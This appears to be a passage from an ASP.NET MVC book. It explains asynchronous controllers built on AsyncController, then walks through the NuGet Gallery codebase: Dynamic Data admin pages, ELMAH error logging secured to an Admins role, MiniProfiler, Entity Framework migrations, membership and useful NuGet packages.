The Task-based Asynchronous Pattern requires MVC 4 and .NET 4.5. If you need to add asynchronous actions to an application running on MVC 2 or 3, you can make use of the `AsyncController` base class. In much the same way that the `Controller` type serves as the base class for synchronous controllers, the `AsyncController` type serves as the base class for asynchronous controllers. Converting a synchronous action to an asynchronous action using an `AsyncController` requires the following:

- 1.** Instead of deriving the controller from `Controller`, derive it from `AsyncController`. Controllers that derive from `AsyncController` enable ASP.NET to process asynchronous requests, and they can still service synchronous action methods.
- 2.** Create two methods for the action. The method that initiates the asynchronous process must have a name that consists of the action and the suffix "Async." The method that is invoked when the asynchronous process finishes (the callback method) must have a name that consists of the action and the suffix "Completed." In the previous example, the `News` method would have two methods: `NewsAsync` and `NewsCompleted`.

The `NewsAsync` method returns `void` (no value in Visual Basic). The `NewsCompleted` method returns an `ActionResult` instance. Although the action consists of two methods, it is accessed using the same URL as for a synchronous action method (for example, `Portal/News?city=Seattle`). Methods such as `RedirectToAction` and `RenderAction` will also refer to the action method as `News`, not as `NewsAsync`.

The parameters that are passed to `NewsAsync` use the normal parameter-binding mechanisms. The parameters that are passed to `NewsCompleted` use the `Parameters` dictionary.

- 3.** Replace the synchronous call in the original `ActionResult` method with an asynchronous call in the asynchronous action method. In the example above, the call to `newsService.GetHeadlines` is replaced with a call to `newsService.GetHeadlinesAsync`.

Consider our original synchronous controller action with a single service call to a `GetNews()` method which involves a network call which could be long-running:

```
public class PortalController : Controller {
    public ActionResult News(string city) {
        NewsService newsService = new NewsService();
        NewsModel news = newsService.GetNews(city);
        return View(news);
    }
}
```

An asynchronous implementation of this action using the `AsyncController` base class would appear as follows:

```
public class PortalController : AsyncController {
    public void NewsAsync(string city) {
        AsyncManager.OutstandingOperations.Increment();
        NewsService newsService = new NewsService();
```

```

        newsService.GetNewsCompleted += (sender, e) => {
            AsyncManager.Parameters["news"] = e.News;
            AsyncManager.OutstandingOperations.Decrement();
        };
        newsService.GetNewsAsync(city);
    }

    public ActionResult NewsCompleted(NewsModel news) {
        return View(news);
    }
}

```

Note a few patterns here:

- Asynchronous controller's base class is `AsyncController` rather than `Controller`. This tells the MVC pipeline to allow asynchronous requests.
- Instead of a single `News()` action method there are two methods: `NewsAsync()` and `NewsCompleted()`, with the second method returning an `ActionResult`. This method pair is logically seen as a single action `News`, so it is accessed using the same URL as the synchronous action: `/Portal/News?city=Seattle`.
- Observe the parameters passed to each method. The parameters passed to `NewsAsync()` are provided using the normal parameter binding mechanisms, while the parameters passed to `NewsCompleted()` are provided using the `AsyncManager.Parameters` dictionary. The `NewsService` consumed by the `NewsAsync()` method is an example of a service that exposes methods using an event-based asynchronous pattern (<http://msdn.microsoft.com/en-us/library/weewczdw.aspx>).
- Using `AsyncManager.OutstandingOperations` notifies the MVC pipeline of how many operations are pending completion. This is necessary because MVC otherwise has no way of knowing what operations were kicked off by the action method or when those operations are complete. When this counter hits zero, the MVC pipeline completes the overall asynchronous operation by calling the `NewsCompleted()` method.

Similarly, a parallel asynchronous version of our second example from above that calls into multiple long-running services would take the following form:

```

public class PortalController : AsyncController {
    public void IndexAsync(string city) {
        AsyncManager.OutstandingOperations.Increment(3);

        NewsService newsService = new NewsService();
        newsService.GetNewsCompleted += (sender, e) => {
            AsyncManager.Parameters["news"] = e.News;
            AsyncManager.OutstandingOperations.Decrement();
        };
        newsService.GetNewsAsync(city);

        WeatherService weatherService = new WeatherService();
        weatherService.GetWeatherCompleted += (sender, e) => {
            AsyncManager.Parameters["weather"] = e.Weather;
            AsyncManager.OutstandingOperations.Decrement();
        };
    }
}

```

```
weatherService.GetWeatherAsync(city);

SportsService sportsService = new SportsService();
sportsService.GetScoresCompleted += (sender, e) => {
    AsyncManager.Parameters["sports"] = e.Scores;
    AsyncManager.OutstandingOperations.Decrement();
};
SportsModel sportsModel = sportsService.GetScoresAsync(city);
}

public ActionResult IndexCompleted(NewsModel news,
    WeatherModel weather, SportsModel sports) {

    PortalViewModel model = new PortalViewModel {
        News = news,
        Weather = weather,
        Sports = sports
    };
    return View(model);
}
}
```

Okay, I admit it: Part of the reason I showed the code for asynchronous actions based on `AsyncController` was to show how much easier it is now in MVC 4 using the Task-based Asynchronous Pattern!

SUMMARY

Throughout this book, we've been careful not to flood you with information that, while interesting, would get in the way of learning the important concepts. We've had to avoid talking about interesting interactions between components we hadn't discussed yet, and we've avoided burrowing deep into implementation details that thrill us but may baffle learners.

In this chapter, though, we've been able to talk to you like the informed developer that you are, sharing some of our favorite tidbits about the inner workings of ASP.NET MVC, as well as advanced techniques to get the most from the framework. We hope you've enjoyed it as much as we have!

Real-World ASP.NET MVC: Building the NuGet.org Website

Phil Haack

WHAT'S IN THIS CHAPTER?

- Source code for the NuGet Gallery
- Source structure
- WebActivator
- ASP.NET Dynamic Data
- Exception logging
- Profiling
- Data access
- Code First Migrations
- Membership
- Other useful NuGet packages

To learn a framework such as ASP.NET MVC, read a book. To learn to use the framework to build a real-world application, read some code. Code from a real-world implementation is a great resource to learn how to make use of the knowledge you learned from books.

The term “real-world” refers to an application that is actively in use and meets a business need — something you can visit now with your browser. In the heat of battle, with deadlines

and changing requirements, a real-world application often looks quite a bit different from the contrived applications you see in books.

This chapter reviews a real-world application, warts and all, built with ASP.NET MVC. In fact, if you read Chapter 10, you are probably already familiar with the application. It is the NuGet Gallery. You can visit it at <http://nuget.org/> to get a feeling for the public-facing feature set. Members of the ASP.NET and ASP.NET MVC team continue to be actively involved in its development.

MAY THE SOURCE BE WITH YOU

The source code for the NuGet Gallery, the same code that runs <http://nuget.org/>, is hosted on GitHub at <https://github.com/nuget/nugetgallery/>. To obtain the source code on your machine, read the instructions in the README on that page.

These instructions are geared towards those who have some basic knowledge of Git and plan to contribute to the NuGet Gallery project. If you simply want to see the source code without futzing around with Git, you can also download a zip file: <https://github.com/NuGet/NuGetGallery/zipball/master>.

Once you have the source code on your machine, make sure you have Visual Studio 2010 SP1 and the other prerequisites mentioned in the README (Azure SDK and NuGet) installed. Run the PowerShell script `.\Build-Solution.ps1` to verify that your development environment is set up correctly. The script builds the solution and runs all the unit tests. If it succeeds, you're good to go.

When you open the solution in Visual Studio, you'll notice that there are only two projects, as shown in Figure 16-1.

The Facts project contains all the unit tests for the project.

FIGURE 16-1

NOTE *The unit tests for the NuGet Gallery are written with the XUnit.NET Framework — a nice, clean, light, well designed framework. And I'm not just saying that because a co-author of XUnit.NET, Brad Wilson, is also a co-author of this book. He's also a developer on the ASP.NET MVC team. Brad is very busy.*

In XUnit.NET, tests are called “facts” and are denoted by the `FactAttribute`. This is why the unit test project is named `Facts`.

The Website project contains the ASP.NET MVC project. “But wait,” you ask. “Where is the Models project? And where is the `NuGetGallery.Core` project? How can this be a real-world application unless it contains a bajillion projects?”

Many ASP.NET MVC applications prematurely split the solution into multiple different class libraries. One reason this happens is a holdover from the very first version of ASP.NET, where a website

could not be referenced from a unit test project. People typically created a class library containing all the core logic and referenced that one from the unit test.

This ignores the fact that an ASP.NET MVC project is a class library! It's possible to reference the project from a unit test project just as the Facts project does.

But what about the other reason to separate a solution into multiple projects, separation of concerns? Splitting a solution into multiple projects before the need arises doesn't magically separate concerns. Concerns are separated by paying attention to class responsibilities, not by simply splitting code into more assemblies.

The NuGet team figured that most of the code for the project would be specific to this project and not generally reusable. In cases where we did write code that was more broadly reusable, we placed that code into its own NuGet package and installed the package into this project. The WebBackgrounder library and package is one great example of this.

Expand the Website project and you'll see there are a lot of folders, as shown in Figure 16-2. Each folder represents either a distinct set of functionalities or a type of functionality. For example, the Migrations folder contains all the database migrations (covered later in this chapter).

There's a lot of functionality in there, and that doesn't even include all the third-party libraries the project uses. To get a sense of all the various technologies in use, open the packages.config file in the root of the Website project. At the time I write this, 33 NuGet packages are installed. That isn't an accurate number of separate products in use since some products are split into multiple NuGet packages, but it gives an idea that there's a lot of third-party libraries in use. Covering all this would require an entire book, so I'll pick a few notable areas to cover. These are all concerns a real-world application typically needs to deal with, but it is not necessarily a comprehensive list.

FIGURE 16-2

WEBACTIVATOR

Many third-party libraries require more than a simple assembly reference to be useful. They sometimes need the application to run a bit of configuration code when the application starts up. In the past, this meant you would need to copy and paste a bit of startup code into the Application_Start method of Global.asax.

WebActivator is a NuGet package that solves that issue when combined with NuGet's ability to include source code files in packages along with referenced assemblies. It makes it easy for a NuGet package to include a bit of application startup code.

For more details on what WebActivator is, I recommend David Ebbo's blog post, <http://blogs.msdn.com/b/davidebb/archive/2010/10/11/light-up-your-nupacks-with-startup-code-and-webactivator.aspx>.

The NuGet Gallery Website project includes an App_Start folder. This is the conventional location to place startup code that depends on WebActivator. Listing 16-1 is an example code file that demonstrates how to use WebActivator to run startup and shutdown code.

LISTING 16-1: WebActivator Template

```
[assembly: WebActivator.PreApplicationStartMethod(
    typeof(SomeNamespace.AppActivator), "PreStart")]
[assembly: WebActivator.PostApplicationStartMethod(
    typeof(SomeNamespace.AppActivator), "PostStart")]
[assembly: WebActivator.ApplicationShutdownMethodAttribute(
    typeof(SomeNamespace.AppActivator), "Stop")]

namespace SomeNamespace
{
    public static class AppActivator
    {
        public static void PreStart()
        {
            // Code that runs before Application_Start.
        }

        public static void PostStart()
        {
            // Code that runs after Application_Start.
        }

        public static void Stop()
        {
            // Code that runs when the application is shutting down.
        }
    }
}
```

The AppActivator.cs within the Website project file contains startup code that configures many of the services that the NuGet Gallery relies on, such as profiling, migrations, background tasks, and our search indexer (Lucene.NET). It's a great example of how to use WebActivator to configure startup services in code.

ASP.NET DYNAMIC DATA

ASP.NET Dynamic Data is a feature that's often been ignored by ASP.NET MVC developers because it's a Web Forms feature. True, it is built on top of Web Forms, but that's really just an implementation detail. ASP.NET MVC and Web Forms are all ASP.NET applications and can be intermingled in productive ways.

For the NuGet Gallery, we decided to use Dynamic Data as an extremely fast way to build out a scaffolded administration UI so that we could edit data in the database via a browser. Eventually, we hope to build out a proper administration section to manage the gallery, but Dynamic Data works great in a pinch. Because this is an admin page, the details of the UI weren't important to us, though Dynamic Data is certainly customizable if we wanted to build a fancier UI.

To see Dynamic Data in action, make sure the `Website` project is set as the startup project and hit `Ctrl+F5` to start it up in the browser. Append `/dbadmin` to the URL to visit the database admin site. Since you're running the site on the local host, it doesn't require that your user account is a member of the "Admins" role. It only requires that you are authenticated. So, register an account and then visit `/dbadmin`. When running remotely, the `/dbadmin` section also requires that you be a member of the `Admins` role.

You should see a list of every table in the database, as shown in Figure 16-3. Technically, not every table is listed, just those that correspond to an Entity Framework entity.

FIGURE 16-3

When you develop locally, make sure to click on `Users`. If you are just starting out, you should be the only user in the database; otherwise, you can search for yourself by e-mail address. Once you find your user account, check the `Roles` checkbox labeled `Admins`, as shown in Figure 16-4, and then click `Update` to save your changes. You'll need this later when we cover ELMAH.

FIGURE 16-4

Adding Dynamic Data to an existing ASP.NET MVC application takes a few steps. I've encouraged the ASP.NET team to write a NuGet package to do this. But, for now, you'll need to do the following:

1. Create a new ASP.NET Dynamic Data Entities Web Application project. You won't need to keep this project around. You're just going to scavenge it for some files.
2. Copy the `DynamicData` folder from this project into your ASP.NET MVC project.
3. Copy the following files from the root of the Dynamic Data project into the `DynamicData` folder in your ASP.NET MVC project:
 - `Default.aspx` and `Default.aspx.cs`
 - `Site.master` and `Site.master.cs`
 - `Site.css`
 - `Web.config`
4. Fix all the file references:
 - a. In `Site.master`, change the `link` tag's `href` value from `~/site.css` to `site.css`. This makes sure the Dynamic Data templates use the `site.css` in the `DynamicData` folder.
 - b. In `Site.master`, change the `anchor` tag's `href` value from `~/` to `~/dbadmin` (or wherever you intend to serve the Dynamic Data admin).
 - c. Change the `MasterPageFile` directive in every page of the `DynamicData\PageTemplates` folder to point from `~/Site.master` to `Site.master`. This ensures

the Dynamic Data templates use the master page within the DynamicData folder.

5. Use NuGet to install the DynamicData.EFCodeFirstProvider package. This will add the reference to the System.Web.DynamicData assembly.
6. Register the Dynamic Data model provider, the Entity Framework context, and routes. Listing 16-2 shows an example of code that registers the code that enables Dynamic Data. This is pulled from the Register.cs class in the NuGet Gallery.

LISTING 16-2: Dynamic Data Registration

```
using System.Web.DynamicData;
using System.Web.Routing;
using DynamicData.EFCodeFirstProvider;
using NuGetGallery;

namespace DynamicDataEFCodeFirst
{
    public class Registration
    {
        private static readonly MetaModel _defaultModel =
            new MetaModel();
        public static MetaModel DefaultModel
        {
            get
            {
                return _defaultModel;
            }
        }

        public static void Register(RouteCollection routes)
        {
            DefaultModel.RegisterContext(
                new EFCodeFirstDataProvider(
                    () => new EntitiesContext(),
                    new ContextConfiguration()
                { ScaffoldAllTables = true });

            // This route must come first to prevent some other route
            // from the site to take over
            routes.Insert(0, new DynamicDataRoute("dbadmin/{table}/{action}")
            {
                Constraints = new RouteValueDictionary(new
                { action = "List|Details|Edit|Insert" }),
                Model = DefaultModel
            });

            routes.MapPageRoute(
                "dd_default",
                "dbadmin",
                "~/DynamicData/Default.aspx");
        }
    }
}
```

Make sure to call the `Register` method when your application starts up. The `AppActivator.cs` code calls this method for the NuGet Gallery.

As I write this, David Ebbo is working on a NuGet package to automate these steps, so keep an eye out for it.

EXCEPTION LOGGING

For new web applications, ELMAH is the first package I recommend that developers install. When NuGet was first released, every NuGet talk I gave (and nearly every other presentation about NuGet) had a demonstration that installed the ELMAH package. ELMAH is an acronym for Error Logging Module and Handler. It logs all unhandled exceptions in your application and saves them. It also provides a UI to list the errors in the log and display them in a nice format, maintaining the details you would see in the dreaded Yellow Screen of Death.

To keep things simple, most demos of ELMAH show installing the main `elmah` package. This package contains a bit of configuration to make ELMAH work using an in-memory database and depends on the `elmah.corelibrary` package.

This works great for a demo, but it doesn't work for a real site since the exception log is stored in memory, which doesn't persist if the application is restarted. Fortunately, ELMAH includes packages for most of the major database vendors as well as one that stores items in XML files.

Since the NuGet Gallery uses SQL Server as its database, we installed the `elmah.sqlserver` package. This package requires a bit of manual configuration. When you install this package into your own project, it adds a script named `Elmah.SqlServer.sql` in the `App_Readme` folder of the target project. You'll need to run that script against your SQL Server database in order to create the tables and stored procedures that ELMAH needs.

In the case of NuGet Gallery, we've long since deleted that folder, so you'll find the script in the `packages\elmah.sqlserver.1.2\content\App_Readme` directory relative to the solution root.

By default, ELMAH is only accessible from the local host. This is an important security precaution because anyone who has access to your ELMAH logs can effectively hijack the session for any of your users. See the following blog post for details: www.troyhunt.com/2012/01/aspnet-session-hijacking-with-google.html.

Accessing the exception log remotely is probably one of the reasons you wanted ELMAH in the first place! Not to worry — it just requires a simple bit of configuration. First, secure access to `elmah.axd` to the users or roles that should have access.

The `web.config` for NuGet Gallery has an example of this. We restricted access to users who are members of the `Admins` role.

```
<location path="elmah.axd">
  <system.web>
    <httpHandlers>
      <add verb="POST,GET,HEAD" path="elmah.axd"
          type="Elmah.ErrorLogPageFactory, Elmah" />
    </httpHandlers>
```

```
<authorization>
    <allow roles="Admins" />
    <deny users="*" />
</authorization>
</system.web>
<system.webServer>
    <handlers>
        <add name="Elmah" path="elmah.axd" verb="POST,GET,HEAD"
            type="Elmah.ErrorLogPageFactory, Elmah" preCondition="integratedMode" />
    </handlers>
</system.webServer>
</location>
```

Once you've properly secured access to `elmah.axd`, change the `security` element's `allowRemoteAccess` attribute to `true` to enable remote access.

```
<security allowRemoteAccess="true">
```

Now you can visit `/elmah.axd` in your site to see logged unhandled exceptions. If you still can't access `elmah.axd`, make sure you added your user to the `Admins` role using the Dynamic Data database admin UI, as described in the previous section.

PROFILING

The second package I recommend that developers install into any ASP.NET MVC application is the MiniProfiler (<http://miniprofiler.com/>) set of packages. Once installed and properly configured, MiniProfiler adds a little widget to every page on your site when running in localhost. You can find it in the top-left corner, as shown in Figure 16-5.

FIGURE 16-5

Click on the widget and you'll get profiling information for the current page. For example, Figure 16-6 shows that the search page for the NuGet Gallery runs two SQL queries. You can also see timing information for the queries, as well as timing information for certain key points in the request life cycle, such as rendered views and partial views.

FIGURE 16-6

Code that uses Entity Framework, an ORM, can make it difficult to know exactly what SQL is generated and run against the database. MiniProfiler exposes that information. Simply click on the “sql” links to see the generated SQL, as well as the containing method, as shown in Figure 16-7.

FIGURE 16-7

To set this up for an ASP.NET MVC application with Entity Framework, install MiniProfiler, MiniProfiler.EF, and MiniProfiler.MVC. After installing the package, there's a little bit of configuration required. Look in the AppActivator.cs file to see the configuration for the NuGet Gallery. Most of it is in the MiniProfilerPreStart and MiniProfilerPostStart methods as well as in the private MiniProfilerStartupModule HTTP module class.

Let's look at the first method:

```
private static void MiniProfilerPreStart()
{
    MiniProfilerEF.Initialize();
    DynamicModuleUtility.RegisterModule(typeof(MiniProfilerStartupModule));
    GlobalFilters.Filters.Add(new ProfilingActionFilter());
}
```

The first line of this method sets up MiniProfiler for Entity Framework Code First. If you're not using Code First, or using something other than Entity Framework, you'll need to read the MiniProfiler documentation to find out how to configure it to log SQL queries.

The second line registers the custom HTTP Module, `MiniProfilerStartupModule`, via code. Prior to ASP.NET 4, the only way to register an HTTP module was to add some configuration to `Web.config`. `MiniProfilerStartupModule` controls when and how profiling works. At the time of this writing, it only profiles the application when it is accessed via the local host. However, there is some code in there to enable it for administrators, but that's currently commented out. The code here is similar to the code that the MiniProfiler docs suggest placing in `Application_BeginRequest` and `Application_EndRequest`.

The last line of this method adds a global action filter used to profile actions in an ASP.NET MVC application.

Let's move on to the second method:

```
private static void MiniProfilerPostStart()
{
    var copy = ViewEngines.Engines.ToList();
    ViewEngines.Engines.Clear();
    foreach (var item in copy)
        ViewEngines.Engines.Add(new ProfilingViewEngine(item));
}
```

This method wraps every view engine in the application with a profiling view engine. This allows MiniProfiler to provide rich information about how long views and partial views take to be rendered.

With this small bit of configuration, MiniProfiler can profile a lot of information about your application. It doesn't profile every method call, as that would be too invasive, but it does provide a lot of useful information. There may be cases where you want some more information. Perhaps a certain code path is extremely hot and you'd like to see how long it takes in production. MiniProfiler also provides an API that allows you to instrument and profile your code at any granularity you choose.

The MiniProfiler is not a substitute for all code profiling and performance measurement tools. However, the fact that it's free, takes just a few minutes to install and configure, and provides a user experience that's very easy to use and understand justifies my recommendation that app developers should have it high on their list of NuGet packages to use in their applications.

DATA ACCESS

The NuGet Gallery uses the “Code First” approach with Entity Framework 4.3.1 running against a SQL Server 2008 database. When you run the code locally, it runs against a SQL Server Express instance.

Code First is heavily convention-based and requires very little configuration by default. Of course, developers tend to be an opinionated lot with strong personal preferences and need to customize everything they touch, and the NuGet team is no different. There are a few conventions we replaced with our own configuration.

The `EntitiesContext` class contains our custom configuration for Entity Framework Code First. For example, the following snippet configures the property named `Key` as the primary key for the `User` type. If the property name had been `Id`, or if the `KeyAttribute` were applied to the property, this line would not be necessary.

```
modelBuilder.Entity<User>().HasKey(u => u.Key);
```

One exception to this convention is the `WorkItem` class, because that class comes from another library.

All the Code First entity classes are located in the `Entities` folder. Each entity implements a custom `IEntity` interface. The interface has a single property, `Key`.

The NuGet Gallery doesn’t access the database directly from a `DbContext` derived class. Instead, all data is accessed via an `IEntityRepository<T>` interface.

```
public interface IEntityRepository<T> where T : class, IEntity, new()
{
    void CommitChanges();
    void DeleteOnCommit(T entity);
    T Get(int key);
    IQueryable<T> GetAll();
    int InsertOnCommit(T entity);
}
```

This abstraction made writing unit tests for our services much easier. For example, one of the constructor parameters for the `UserService` class is `IEntityRepository<User>`. In our unit tests, we can simply pass in a mock or fake implementation of that interface.

But in the live application, we pass in a concrete `EntityRepository<User>`. We accomplish that by using dependency injection using Ninject, a dependency injection framework covered later in this chapter. All our Ninject bindings are located in the `ContainerBindings` class.

EF CODE-BASED MIGRATIONS

Sharing schema changes to a database is a big challenge when working on an application. In the past, people would write SQL change scripts, check them into the code, and then have to tell everyone which scripts they need to run. It also required a lot of bookkeeping to know which of these scripts had to be run against the production database when the next version of the application was deployed.

EF Code-Based Migrations is a code-driven, structured way of making changes to the database and is included in Entity Framework 4.3 and above.

Although I won't cover all the details of Migrations here, I will cover some of the ways we make use of migrations. Expand the `Migrations` folder to see the list of migrations included in the NuGet Gallery, as shown in Figure 16-8. The migrations are named with a timestamp prefix to ensure they run in order.

The one named `201110060711357_Initial.cs` is the starting point. This file creates the initial set of tables. After that, each migration applies schema changes as we develop the site and make changes.

Use the NuGet Package Manager Console to create migrations. For example, suppose I add a property named `Age` to the `User` class. I can open up the Package Manager Console and run the following command:

```
Add-Migration AddAgeToUser
```

`Add-Migration` is the command to add a new migration, and `AddAgeToUser` is the name of the migration. I try to pick something descriptive so that I remember what the migration does. It generated a file named `201204292258426_AddAgeToUser.cs`, with the migration code shown in Listing 16-3.

LISTING 16-3: 201204292258426_AddAgeToUser.cs Migration

```
namespace NuGetGallery.Migrations
{
    using System.Data.Entity.Migrations;
    public partial class AddAgeToUser : DbMigration
    {
        public override void Up()
        {
            AddColumn("Users", "Age", c => c.Int(nullable: false));
        }

        public override void Down()
        {
            DropColumn("Users", "Age");
        }
    }
}
```

Very cool! It was able to detect changes to my entities and create the appropriate migration for me. Now I'm free to edit that migration if I need to customize it, but for the most part, I didn't have to keep track of every little change as I developed. Of course, there are changes that it can't

FIGURE 16-8

automatically create a migration for. If you have a property `Name` and decide to split it into two properties, `FirstName` and `LastName`, you'll need to write some custom migration code for that. But for simple changes, this works wonderfully.

As you develop the code, someone else might add a few migrations to the code. Typically, you'll run the `Update-Database` command to run all migrations that have not been applied to your local database. Likewise, when you deploy the application, you'll need to run the corresponding migrations against the production site.

The NuGet Gallery codebase runs migrations automatically every time you run the site. Once again, we turn to `AppActivator.cs` to see how this is configured. The `DbMigratorPostStart` method has the following two lines that do the magic:

```
var dbMigrator = new DbMigrator(new MigrationsConfiguration());
dbMigrator.Update();
```

`MigrationsConfiguration` is a class that derives from `DbMigrationsConfiguration` and contains custom configuration for Code First Migrations. Override the `Seed` method to create initial seed data which will be run after migrations are run. Make sure that the method checks for the existence of the data before it tries to create it again. The NuGet Gallery, for example, overrides this method and adds the “Admins” role, if it doesn’t already exist. In the constructor, we disabled automatic migrations:

```
public MigrationsConfiguration()
{
    AutomaticMigrationsEnabled = false;
}
```

This is a personal preference, as most of us prefer to be explicit about migrations. When enabled, Code First Migrations can automatically perform migrations to ensure the database matches the current state of the code. So, in the example where I added the `Age` property to the `User` class, I wouldn't need to run the `Add-Migration` command. I simply run the `Update-Database` PowerShell command and Code First handles it automatically. Since it's not possible to ensure that every change can be made automatically, Code First can mix explicit and automatic migrations. It's a bit too much magic for my tastes, but definitely try it yourself.

MEMBERSHIP

When first released as part of ASP.NET 2.0 in 2007, the original ASP.NET Membership provider was immensely useful for user and role management. Over time, however, it's started to sport some gray hairs and show its age. It doesn't support certain workflows that modern websites use. For example, when a user forgets his or her password, it's customary that a website sends an e-mail that contains a URL to click on. The URL contains a confirmation token that expires after some interval. The user clicks on the URL to access a page that allows the user to change his or her password. That workflow is difficult to implement with standard Membership.

Another limitation of Membership is the challenge of integrating it with other authentication systems and your own user data. Fortunately, the ASP.NET team addressed many of these issues with the new `SimpleMembership` feature.

Originally written for ASP.NET Web Pages, the ASP.NET team incorporated SimpleMembership into ASP.NET MVC 4. SimpleMembership is more like a library than a framework. Define your Users table however you see fit and let SimpleMembership handle the credentials. All you need to do is tell SimpleMembership how to match the user in your database with a set of credentials by providing the table name and the username/e-mail column.

The approach taken with SimpleMembership is to provide a library of methods for securely storing passwords, integrating with other authentication providers, etc. This means that features such as password reset are not automatic. Implementing various membership workflows takes a bit more work on your part. But the benefit is that you're not restricted to the workflows that the designers of SimpleMembership anticipated, unlike the default ASP.NET MembershipProvider. The SimpleMembership library provides a lot of helpful functions to make it easy to implement any kind of membership workflow you can imagine.

One downside of SimpleMembership is that it was originally designed for ASP.NET Web Pages. ASP.NET Web Pages is a simple page-based web framework designed for hobbyists, breadth developers, rapid prototyping, or for any developer who prefers an inline style of web development. This means the `WebSecurity` class consists solely of static method, which makes writing unit tests of code that calls into SimpleMembership challenging.

Fortunately, others have taken it upon themselves to write interface-based wrappers of SimpleMembership for your unit testing needs, such as the `SimpleMembership.Mvc3` package. Hopefully, by the time you read this book, there will also be an MVC 4 version, though the MVC 3 version should work just fine.

```
Install-Package SimpleMembership.Mvc3
```

This is a great approach, but not what we did in the NuGet Gallery. We had a legacy Users database to deal with that used a different storage format for the hashed passwords. We needed to ensure backwards compatibility with the existing stored passwords, while migrating new users to a more standard approach to storing hashed passwords.

We wrote our own interfaces, such as `IUserService` and `IFormsAuthenticationService`. If you look at the code closely, you'll notice that the methods and implementations are very similar to SimpleMembership.

NOTE *The similarity is not by accident. The Program Manager for SimpleMembership also wrote the WebMatrix templates for SimpleMembership and was involved in implementing the authentication interfaces for NuGet Gallery. He's also the person writing this chapter, who doesn't want it getting out that he designed an API that's not very testable. He claims he was just doing his job.*

Also take a look at `UsersController`. It implements the User Interface workflow code for membership and is modeled after the default ASP.NET Web Pages default project templates included with WebMatrix, but written in a clean, testable manner.

If I were starting a new web application from scratch, I'd probably follow the same approach we did with NuGet Gallery, but I'd have the concrete implementations of our interfaces simply call into the `WebSecurity` class.

OTHER USEFUL NUGET PACKAGES

As mentioned earlier, the lessons learned and the tools we used to build NuGet Gallery could fill a book. The previous sections covered features needed by nearly every web application, such as an admin section, profiling, error logging, and so on.

In this section I'll quickly cover a smattering of useful packages used in NuGet Gallery that aren't necessarily needed by most applications, but which are very useful when you do need them. Each section begins with the command to install the package.

T4MVC

```
Install-Package T4MVC
```

T4MVC (<http://nuget.org/packages/T4MVC>), authored by David Ebbo, installs a T4 template that generates strongly typed helpers for ASP.NET MVC. For example, when you want an action link, instead of writing:

```
@Html.ActionLink("Delete Book", "Delete", "Books", new { id = Model.Id}, null)
```

you can write:

```
@Html.ActionLink("Delete Book", MVC.Books.Delete(Model.Id))
```

That's pretty handy if you love IntelliSense, as it can provide a list of the available controllers and actions.

WebBackgrounder

```
Install-Package WebBackgrounder
```

WebBackgrounder (<http://nuget.org/packages/WebBackgrounder>) is a package for safely running recurring background tasks in an ASP.NET application. ASP.NET and IIS are free to tear down (that is, stop) your application's AppDomain at any time. There are mechanisms that ASP.NET provides to notify code when this happens. WebBackgrounder takes advantage of this to try and safely run a background timer for running tasks that need to recur.

WebBackgrounder is a very early work in progress, but the NuGet Gallery uses it to regularly update download statistics and update the Lucene.NET index. As you might expect, it's configured in `AppActivator` via the following two methods.

```
private static void BackgroundJobsPostStart()
{
    var jobs = new IJob[] {
        new UpdateStatisticsJob(TimeSpan.FromSeconds(10),
            () => new EntitiesContext(), timeout: TimeSpan.FromMinutes(5)),
        new WorkItemCleanupJob(TimeSpan.FromDays(1)),
    }
}
```

```

        () => new EntitiesContext(), timeout: TimeSpan.FromDays(4)),
        new LuceneIndexingJob(TimeSpan.FromMinutes(10),
            timeout: TimeSpan.FromMinutes(2)),
    );
    var jobCoordinator = new WebFarmJobCoordinator(new EntityWorkItemRepository
    (
        () => new EntitiesContext()));
    _jobManager = new JobManager(jobs, jobCoordinator);
    _jobManager.Fail(e => ErrorLog.GetDefault(null).Log(new Error(e)));
    _jobManager.Start();
}

private static void BackgroundJobsStop()
{
    _jobManager.Dispose();
}

```

The first method, `BackgroundJobsPostStart`, creates an array of the various jobs you want to run. Each job includes an interval for how often they should be run. For example, we update download count statistics every 10 seconds.

The next part sets up a job coordinator. If your application only runs on a single server, you can simply use the `SingleServerJobCoordinator`. Since NuGet Gallery runs on Windows Azure, it's effectively a Web Farm, which requires the `WebFarmJobCoordinator` to ensure the same job isn't being run on multiple servers at the same time. This allows `WebBackgrounder` to automatically spread out the work onto multiple machines. This coordinator requires some central "repository" in order to synchronize work.

We decided to use the database, since we only have one database per farm (and it is thus centralized), and installed the `webBackgrounder.EntityFramework` package to hook it up.

Lucene.NET

`Install-Package Lucene.NET`

`Lucene.NET` (<http://nuget.org/packages/Lucene.Net>) is an open source port of the Apache Lucene search library. It's the most well-known text search engine for .NET. The NuGet Gallery uses it to power package search.

Because it's a port of a Java library, the API and configuration is a bit clunky for those used to .NET APIs. But once it's configured, it's very powerful and fast.

Configuring it goes way beyond the scope of this book. The NuGet Gallery wraps the Lucene.NET functionality within the `LuceneIndexingService` class. This provides one example of how to interface with Lucene. Also take a look at the `LuceneIndexingJob`. This is a `WebBackgrounder` job scheduled to run every 10 minutes.

AnglicanGeek.MarkdownMailer

`Install-Package AnglicanGeek.MarkdownMailer`

`AnglicanGeek.MarkdownMailer` (<http://nuget.org/packages/AnglicanGeek.MarkdownMailer>) is a simple library for sending e-mails. What's great about this library is you can define the e-mail

body once using Markdown syntax and it generates a multi-part e-mail with views for both text and HTML.

The NuGet Gallery uses this to send all its notification e-mails, such as those for new users and password resets. Look at the `MessageService` class for examples of how the gallery uses this library.

Ninject

```
Install-Package Ninject
```

There are many dependency injection (DI) frameworks for .NET. The NuGet Gallery team chose Ninject (<http://nuget.org/packages/NuGet>) as its DI container because of its clean API and speed.

Ninject is the core library. The `Ninject.Mvc3` package configures Ninject for an ASP.NET MVC project. It makes getting started with Ninject quick and simple.

As mentioned earlier, all the NuGet Gallery's Ninject bindings are located in the `ContainerBindings` class. Here's a sample of two bindings plucked from that class:

```
Bind<ISearchService>().To<LuceneSearchService>().InRequestScope();  
  
Bind<IFormsAuthenticationService>()  
    .To<FormsAuthenticationService>()  
    .InSingletonScope();
```

The first line registers `LuceneSearchService` as a concrete instance of `ISearchService`. This allows us to keep our classes loosely coupled. Throughout the codebase, classes reference only the `ISearchService` interface. This makes supplying a fake during unit tests easy. At run time, Ninject injects a concrete implementation. The `InRequestScope` ensures that a new instance is created for each request. This is important if the type requires request data in its constructor.

The second binding does the same thing, but the `InSingletonScope` ensures that there's only one instance of `FormsAuthenticationService` for the whole application. If a service holds onto any request state, or requires request state in its constructor, make sure to use request scope and not singleton.

SUMMARY

Get any two developers together and they'll probably have a different opinion on how real-world applications should be built. The NuGet Gallery is no exception. Even the developers who work on the gallery have different opinions.

